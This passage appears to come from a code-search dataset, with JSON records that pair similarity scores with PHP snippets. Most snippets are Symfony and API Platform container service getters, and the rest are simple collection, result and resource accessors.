$this->privates['translation.loader.csv'] = new \\Symfony\\Component\\Translation\\Loader\\CsvFileLoader();\n }", "title": "" }, { "docid": "a2e2226ce2a569ebaeb442e63788f264", "score": "0.53444207", "text": "protected function getTranslation_Loader_CsvService()\n {\n return $this->services['translation.loader.csv'] = new \\Symfony\\Component\\Translation\\Loader\\CsvFileLoader();\n }", "title": "" }, { "docid": "0c2571b9ea745d2a1c8717347c761cac", "score": "0.5338179", "text": "protected function getFosRest_Routing_Loader_ProcessorService()\n {\n @trigger_error('The fos_rest.routing.loader.processor service is deprecated since FOSRestBundle 2.8. You can disable it by setting the config `fos_rest.routing_loader.enabled` to `false`.', E_USER_DEPRECATED);\n\n return $this->privates['fos_rest.routing.loader.processor'] = new \\FOS\\RestBundle\\Routing\\Loader\\RestRouteProcessor();\n }", "title": "" }, { "docid": "8ef81790c082fd58b4ef8821d9309813", "score": "0.5318914", "text": "protected function getTranslation_Loader_DatService()\n {\n return $this->privates['translation.loader.dat'] = new \\Symfony\\Component\\Translation\\Loader\\IcuDatFileLoader();\n }", "title": "" }, { "docid": "54a32391027c1547fc5b2dc61735b5e3", "score": "0.5306809", "text": "protected function getTranslation_Loader_IniService()\n {\n return $this->privates['translation.loader.ini'] = new \\Symfony\\Component\\Translation\\Loader\\IniFileLoader();\n }", "title": "" }, { "docid": "bca4655df8f74321667d64a7cd773c72", "score": "0.5287357", "text": "public function parse(): Collection\n {\n $menuYaml = $this->parseConfigYaml($this->getInitialFilename());\n\n $menu = [];\n\n foreach ($menuYaml as $key => $items) {\n if (is_array($items)) {\n $menu[$key] = $this->parseItems($items);\n }\n }\n\n return new Collection($menu);\n }", "title": "" }, { "docid": "4da159a1077bbf5956cdf569035ed458", "score": "0.5287314", "text": "protected function getTranslation_LoaderService()\n {\n $a = $this->get('translation.loader.xliff');\n\n $this->services['translation.loader'] = $instance = new \\Symfony\\Bundle\\FrameworkBundle\\Translation\\TranslationLoader();\n\n $instance->addLoader('php', $this->get('translation.loader.php'));\n $instance->addLoader('yml', $this->get('translation.loader.yml'));\n $instance->addLoader('xlf', $a);\n $instance->addLoader('xliff', $a);\n $instance->addLoader('po', $this->get('translation.loader.po'));\n $instance->addLoader('mo', $this->get('translation.loader.mo'));\n $instance->addLoader('ts', $this->get('translation.loader.qt'));\n $instance->addLoader('csv', $this->get('translation.loader.csv'));\n $instance->addLoader('res', $this->get('translation.loader.res'));\n $instance->addLoader('dat', $this->get('translation.loader.dat'));\n $instance->addLoader('ini', $this->get('translation.loader.ini'));\n $instance->addLoader('json', $this->get('translation.loader.json'));\n\n return $instance;\n }", "title": "" }, { "docid": "3d3787ba3a2fad9f60c434aba1aba421", "score": "0.52788985", "text": "public function get_routes()\n\t{\n\t\tif ($this->route_collection === null /*|| $this->route_collection->count() === 0*/)\n\t\t{\n\t\t\t$this->route_collection = new RouteCollection;\n\t\t\tforeach ($this->resources_locator->locate_resources() as $resource)\n\t\t\t{\n\t\t\t\tif (is_array($resource))\n\t\t\t\t{\n\t\t\t\t\t$this->route_collection->addCollection($this->loader->load($resource[0], $resource[1]));\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->route_collection->addCollection($this->loader->load($resource));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->resolveParameters($this->route_collection);\n\t\t}\n\n\t\treturn $this->route_collection;\n\t}", "title": "" }, { "docid": "17def4abe5ef353606394738efbf46a6", "score": "0.52622914", "text": "protected function getDataCollector_RouterService()\n {\n return $this->services['data_collector.router'] = new \\Symfony\\Bundle\\FrameworkBundle\\DataCollector\\RouterDataCollector();\n }", "title": "" }, { "docid": "0335a1e2113c2341767e9269543e30cd", "score": "0.52621317", "text": "protected static function _instance() {\n static $instance;\n if (!$instance) {\n $instance = new Collections();\n }\n return $instance;\n }", "title": "" }, { "docid": "402d40ac38a4f226d89b21333b147042", "score": "0.52535367", "text": "public function get_collection(){\n return $this->collection;\n }", "title": "" }, { "docid": "d12c30470be2f7bca10c3979465e266a", "score": "0.5242352", "text": "public function getRouteCollection()\n {\n return new RouteCollection();\n }", "title": "" }, { "docid": "a5ab073389608f4c92f5472a120df7b2", "score": "0.5224461", "text": "public static function resourceCollection()\n {\n return collect(static::$resources);\n }", "title": "" }, { "docid": "83c6e0dbb707cc992708176d490326af", "score": "0.52192396", "text": "protected function getTranslation_Loader_DatService()\n {\n return $this->services['translation.loader.dat'] = new \\Symfony\\Component\\Translation\\Loader\\IcuDatFileLoader();\n }", "title": "" }, { "docid": "87684570dac9af09c8095803dfab78b1", "score": "0.5211957", "text": "public function getRouteCollection()\n {\n return $this->routeCollection;\n }", "title": "" }, { "docid": "6da1d8e83313052c9417fe3ffe4f8b7a", "score": "0.52003014", "text": "protected function getTranslation_Dumper_ResService()\n {\n return $this->services['translation.dumper.res'] = new \\Symfony\\Component\\Translation\\Dumper\\IcuResFileDumper();\n }", "title": "" }, { "docid": "ec838fdac313a1d9d6b06a555c46bf06", "score": "0.51940113", "text": "public function getRouteCollection(): RouteCollection\n {\n return new RouteCollection();\n }", "title": "" }, { "docid": "85dbbff6b59304be79220f82a29db244", "score": "0.51920027", "text": "public function getCollections(): array\n {\n return $this->collections;\n }", "title": "" }, { "docid": "f1859dfed0e85bc4449a21c8e4ef35f4", "score": "0.5181905", "text": "public static function getCollection()\n {\n return static::getDb()->getFileCollection(static::collectionName());\n }", "title": "" }, { "docid": "a1189425a2b1f7a1bbbaef31734d3b9f", "score": "0.51812416", "text": "public function get_collection() {\r\n\t\treturn $this->collection;\r\n\t}", "title": "" }, { "docid": "65dcef3cddd2cd2c9106cba2f4ed7c33", "score": "0.5163109", "text": "private function getYamlParser()\n {\n if (!$this->yamlParser) {\n $this->yamlParser = new Yaml\\Parser();\n }\n return $this->yamlParser;\n }", "title": "" }, { "docid": "165f1d82645bf9096df3529d2639b48e", "score": "0.51617694", "text": "protected function getForm_Type_CollectionService()\n {\n return $this->services['form.type.collection'] = new \\Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType();\n }", "title": "" }, { "docid": "f3790c8c36a7ce10455554c17facac8c", "score": "0.5156213", "text": "protected function getApiPlatform_Metadata_Resource_NameCollectionFactory_CachedService()\n {\n return $this->privates['api_platform.metadata.resource.name_collection_factory.cached'] = new \\ApiPlatform\\Core\\Metadata\\Resource\\Factory\\CachedResourceNameCollectionFactory(($this->privates['api_platform.cache.metadata.resource'] ?? $this->getApiPlatform_Cache_Metadata_ResourceService()), new \\ApiPlatform\\Core\\Metadata\\Resource\\Factory\\ExtractorResourceNameCollectionFactory(($this->privates['api_platform.metadata.extractor.yaml'] ?? ($this->privates['api_platform.metadata.extractor.yaml'] = new \\ApiPlatform\\Core\\Metadata\\Extractor\\YamlExtractor([], $this))), new \\ApiPlatform\\Core\\Metadata\\Resource\\Factory\\AnnotationResourceNameCollectionFactory(($this->privates['annotations.cached_reader'] ?? $this->getAnnotations_CachedReaderService()), $this->parameters['api_platform.resource_class_directories'], new \\ApiPlatform\\Core\\Metadata\\Resource\\Factory\\ExtractorResourceNameCollectionFactory(($this->privates['api_platform.metadata.extractor.xml'] ?? ($this->privates['api_platform.metadata.extractor.xml'] = new \\ApiPlatform\\Core\\Metadata\\Extractor\\XmlExtractor([], $this)))))));\n }", "title": "" }, { "docid": "e8d182c37444ab6d2765f89514b3e52a", "score": "0.5151238", "text": "public function collections(): array\n {\n return $this->collections;\n }", "title": "" }, { "docid": "8fa1db7590f4acd3f471cf8202702c41", "score": "0.5150967", "text": "protected static function getContainers(): Collection\n {\n return app(PermissionRegistrar::class)->getContainers();\n }", "title": "" }, { "docid": "b33474879b626a43a40e11a9eadd303a", "score": "0.51460475", "text": "abstract public function getCollection();", "title": "" }, { "docid": "20af1f14548dde02988cd053c5a7f1f1", "score": "0.51455134", "text": "protected function getTranslation_Loader_IniService()\n {\n return $this->services['translation.loader.ini'] = new \\Symfony\\Component\\Translation\\Loader\\IniFileLoader();\n }", "title": "" }, { "docid": "01bb799becb71195a7065d5883fa27d8", "score": "0.5141511", "text": "public function Collection()\n {\n return $this->collection;\n }", "title": "" }, { "docid": "a25c0b8393c7822c499c3366949b0ad5", "score": "0.5138349", "text": "protected function getTranslation_Loader_IniService()\n {\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/LoaderInterface.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/ArrayLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/FileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/IniFileLoader.php';\n\n return $this->privates['translation.loader.ini'] = new \\Symfony\\Component\\Translation\\Loader\\IniFileLoader();\n }", "title": "" }, { "docid": "2b4a47caf13ce0a7c5f66e75683d5e8e", "score": "0.5127972", "text": "public function getCollection();", "title": "" }, { "docid": "2b4a47caf13ce0a7c5f66e75683d5e8e", "score": "0.5127972", "text": "public function getCollection();", "title": "" }, { "docid": "2b4a47caf13ce0a7c5f66e75683d5e8e", "score": "0.5127972", "text": "public function getCollection();", "title": "" }, { "docid": "a598ed258ff676914c996bfd22c6746b", "score": "0.51224416", "text": "protected function getCollection()\r\n {\r\n return $this->helperData->getPostCollection();\r\n }", "title": "" }, { "docid": "a52572b3e6c8a8efcd250c7e20acbb22", "score": "0.51211536", "text": "public function getSkeletonCollection()\n {\n $collection = Mage::getModel('skeleton/skeleton')->getResourceCollection();\n //$collection = Mage::getResourceModel('skeleton/skeleton_collection');\n \n $collection->load();\n \n return $collection;\n }", "title": "" }, { "docid": "7e933480fd2673312ed1914447dd57e9", "score": "0.5114633", "text": "public function collection() {\n return $this->data->collection;\n }", "title": "" }, { "docid": "fe87284c14bc0a61b0c3419b19045610", "score": "0.5105074", "text": "public function getStaticDefinitions();", "title": "" }, { "docid": "5b056b63c0719ec16cac7d843b11c1ad", "score": "0.5102611", "text": "public function typeProvider()\n {\n return [[\"collection\"]];\n }", "title": "" }, { "docid": "2b5b224b26998cb5f7fe62f8c884b367", "score": "0.5101168", "text": "public function getEventCollection()\n {\n return $this->getInstance(EventCollection::class);\n }", "title": "" }, { "docid": "6fa3fce2a14799359c92b1f6e7436497", "score": "0.509752", "text": "public function getResourceCollection(): string\n {\n return $this->resourceCollection;\n }", "title": "" }, { "docid": "9ee697d96d146cc569d7bfc4bd7f6685", "score": "0.50855076", "text": "protected function getDebug_ApiPlatform_CollectionDataProviderService()\n {\n return $this->privates['debug.api_platform.collection_data_provider'] = new \\ApiPlatform\\Core\\Bridge\\Symfony\\Bundle\\DataProvider\\TraceableChainCollectionDataProvider(new \\ApiPlatform\\Core\\DataProvider\\ChainCollectionDataProvider(new RewindableGenerator(function () {\n yield 0 => ($this->privates['api_platform.doctrine.orm.default.collection_data_provider'] ?? $this->getApiPlatform_Doctrine_Orm_Default_CollectionDataProviderService());\n }, 1)));\n }", "title": "" }, { "docid": "3d6e4951166dfcea89a5fe42b737b2b0", "score": "0.5081246", "text": "public function getContainerCollection()\n {\n return $this->getInstance(ContainerCollection::class);\n }", "title": "" }, { "docid": "49e3ab9d8f80a4b52b8cd8789e03d2dc", "score": "0.50775254", "text": "public function getCollections()\n {\n return $this->collections;\n }", "title": "" }, { "docid": "49e3ab9d8f80a4b52b8cd8789e03d2dc", "score": "0.50775254", "text": "public function getCollections()\n {\n return $this->collections;\n }", "title": "" }, { "docid": "1b9ad70943a717f4d028a882b1a7cd8d", "score": "0.50753075", "text": "public function get_loader() {\n return $this->loader;\n }", "title": "" }, { "docid": "1b9ad70943a717f4d028a882b1a7cd8d", "score": "0.50753075", "text": "public function get_loader() {\n return $this->loader;\n }", "title": "" }, { "docid": "f60cc7129a3326ab946ca8ef17f47053", "score": "0.5074407", "text": "public function getLoaderArray()\n {\n return $this->loaderArray;\n }", "title": "" }, { "docid": "ea810306c43b8de286b6689b0222f3b2", "score": "0.50708765", "text": "public function Config()\n {\n if ($this->config === null\n && $this->collection instanceof Enlight_Plugin_Namespace_Config) {\n $this->config = $this->collection->getConfig($this->getName());\n }\n\n return $this->config;\n }", "title": "" }, { "docid": "c4f7bc6a9c6bbc0d99fd496cbd35d2fb", "score": "0.50701636", "text": "public function getResourceLoader()\r\n {\r\n if (null === $this->_resourceLoader) {\r\n $r = new ReflectionClass($this);\r\n $path = $r->getFileName();\r\n $this->setResourceLoader(new Oxy_Application_Domain_Autoloader(array(\r\n 'namespace' => $this->getDomainName(),\r\n 'basePath' => dirname($path)\r\n )));\r\n }\r\n return $this->_resourceLoader;\r\n }", "title": "" }, { "docid": "43180e303660d00f1ac3a4a4b233fb7a", "score": "0.5069519", "text": "protected function getRouterService()\n {\n return $this->services['router'] = new \\Symfony\\Bundle\\FrameworkBundle\\Routing\\Router($this, '/var/www/htdocs/symfony/2.0.4-fp/app/config/routing.yml', array('cache_dir' => '/var/www/htdocs/symfony/2.0.4-fp/app/cache/prod', 'debug' => true, 'generator_class' => 'Symfony\\\\Component\\\\Routing\\\\Generator\\\\UrlGenerator', 'generator_base_class' => 'Symfony\\\\Component\\\\Routing\\\\Generator\\\\UrlGenerator', 'generator_dumper_class' => 'Symfony\\\\Component\\\\Routing\\\\Generator\\\\Dumper\\\\PhpGeneratorDumper', 'generator_cache_class' => 'appprodUrlGenerator', 'matcher_class' => 'Symfony\\\\Bundle\\\\FrameworkBundle\\\\Routing\\\\RedirectableUrlMatcher', 'matcher_base_class' => 'Symfony\\\\Bundle\\\\FrameworkBundle\\\\Routing\\\\RedirectableUrlMatcher', 'matcher_dumper_class' => 'Symfony\\\\Component\\\\Routing\\\\Matcher\\\\Dumper\\\\PhpMatcherDumper', 'matcher_cache_class' => 'appprodUrlMatcher'));\n }", "title": "" }, { "docid": "c82dc5698050ac8e37fa28c9819f860d", "score": "0.50688416", "text": "public function getConfigurationLoader()\n {\n return $this->configurationLoader;\n }", "title": "" }, { "docid": "53653f696c71330b3209b1cad48d2fda", "score": "0.5062846", "text": "public function getCollection()\n {\n return $this->collection;\n }", "title": "" }, { "docid": "53653f696c71330b3209b1cad48d2fda", "score": "0.5062846", "text": "public function getCollection()\n {\n return $this->collection;\n }", "title": "" }, { "docid": "53653f696c71330b3209b1cad48d2fda", "score": "0.5062846", "text": "public function getCollection()\n {\n return $this->collection;\n }", "title": "" }, { "docid": "53653f696c71330b3209b1cad48d2fda", "score": "0.5062846", "text": "public function getCollection()\n {\n return $this->collection;\n }", "title": "" }, { "docid": "fb03c7fd20657dd238c5907564fb8214", "score": "0.5049059", "text": "protected function getTranslation_Dumper_CsvService()\n {\n return $this->services['translation.dumper.csv'] = new \\Symfony\\Component\\Translation\\Dumper\\CsvFileDumper();\n }", "title": "" } ]
ca0d4fa018d227b590f0e24c950f17d0
Get the result object/resource
[ { "docid": "207a815058fcbaa1267e43be342837fa", "score": "0.63414156", "text": "public function getResult();", "title": "" } ]
[ { "docid": "e3c1fc60ee75eb693b0090ab8fb943ad", "score": "0.7365315", "text": "public function get_resource();", "title": "" }, { "docid": "e3884e602e160f57d9a10873f4cd1910", "score": "0.6827013", "text": "public function getSingleResult()\n {\n }", "title": "" }, { "docid": "af282eb6b1f75b9ef8567a5361734988", "score": "0.6743102", "text": "protected function getApiResult()\n {\n return Singleton::class('ZN\\Services\\Restful')->get($this->address);\n }", "title": "" }, { "docid": "95723c03324d795a04131517ca731f36", "score": "0.6678698", "text": "public function getObject() {}", "title": "" }, { "docid": "95723c03324d795a04131517ca731f36", "score": "0.6678698", "text": "public function getObject() {}", "title": "" }, { "docid": "aa6fe97e74fce0483276b3e3577632f3", "score": "0.66500765", "text": "public function get_result() {\n\t\treturn $this->_result;\n\t}", "title": "" }, { "docid": "3aed793696b935d1738354f41bf19476", "score": "0.66319585", "text": "final protected function getObject($type){\n\t\t\treturn $this->getFactory()->getObject( $this->getRes(), $type );\n\t\t}", "title": "" }, { "docid": "12d166b60104ae6817613dacaa23885a", "score": "0.6603682", "text": "public function getObject()\n {\n return mysqli_fetch_object($this->resulset);\n }", "title": "" }, { "docid": "38d4e6796db39109f0d6935dfd120534", "score": "0.65940124", "text": "public function retrieve(Resource $resource);", "title": "" }, { "docid": "9a919822b45c5b7772823fe27d3b6862", "score": "0.65835035", "text": "public function get_result() {\r\n\t\treturn $this->result;\r\n\t}", "title": "" }, { "docid": "0b48b3631511c8d43c293d159603e4ba", "score": "0.654728", "text": "public function getFrom($resource);", "title": "" }, { "docid": "bdaaf50cf27670fc440c40f9e2a1a586", "score": "0.6536438", "text": "public function getResource(){\n return $this->resource;\n }", "title": "" }, { "docid": "a502ca11387c8b297ae15069e54af2ef", "score": "0.6531915", "text": "public function getResult()\n {\n return $this->get(self::RESULT);\n }", "title": "" }, { "docid": "428541aff5a20db0753edebab2c7fb73", "score": "0.6510932", "text": "public function get(Resource $resource);", "title": "" }, { "docid": "fc51cad83d42682b1ec94d28f01d13b8", "score": "0.64930224", "text": "public function getObject();", "title": "" }, { "docid": "fc51cad83d42682b1ec94d28f01d13b8", "score": "0.64930224", "text": "public function getObject();", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.64776796", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.64776796", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.64776796", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.64776796", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.64776796", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "9ce3e19d04d2fc8b15486c273fd28b47", "score": "0.6477294", "text": "public function getResult()\n {\n return $this->get(self::_RESULT);\n }", "title": "" }, { "docid": "e867226662ec978c847bb1258c7408e3", "score": "0.64614576", "text": "protected function createResultObject() {\n\t\t$result = new Result();\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "a65b053c71a096a280563f7956d88743", "score": "0.6456065", "text": "function getResult()\n\t{\n\t\tif (isset($this->result)) {\n\t\t\treturn $this->result;\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}", "title": "" }, { "docid": "e9648a550dfb8d9dffdf1baecb0efc6b", "score": "0.64476645", "text": "public function results()\n\t{\n\t\t// using any existing $resource, process the results into a stdClass object:\n\t\t$out = array();\n\n\t\t// if the resource exists, proceed:\n\t\tif (isset(self::$resource))\n\t\t{\n\t\t\t// loop through the results and add them to the object:\n\t\t\twhile ($row = mysql_fetch_assoc(self::$resource))\n\t\t\t{\n\t\t\t\t$out[] = (object)$row;\n\t\t\t}\n\t\t}\n\n\t\t// return $out as an object:\n\t\treturn (object)$out;\n\t}", "title": "" }, { "docid": "a8cdb5900aed77853155ba1861662621", "score": "0.6430078", "text": "function getResource()\n {\n return $this->resource;\n }", "title": "" }, { "docid": "f95da497be88e4c98246dc1e6a192103", "score": "0.64226526", "text": "public function &get() {\n\t\treturn $this->result;\n\t}", "title": "" }, { "docid": 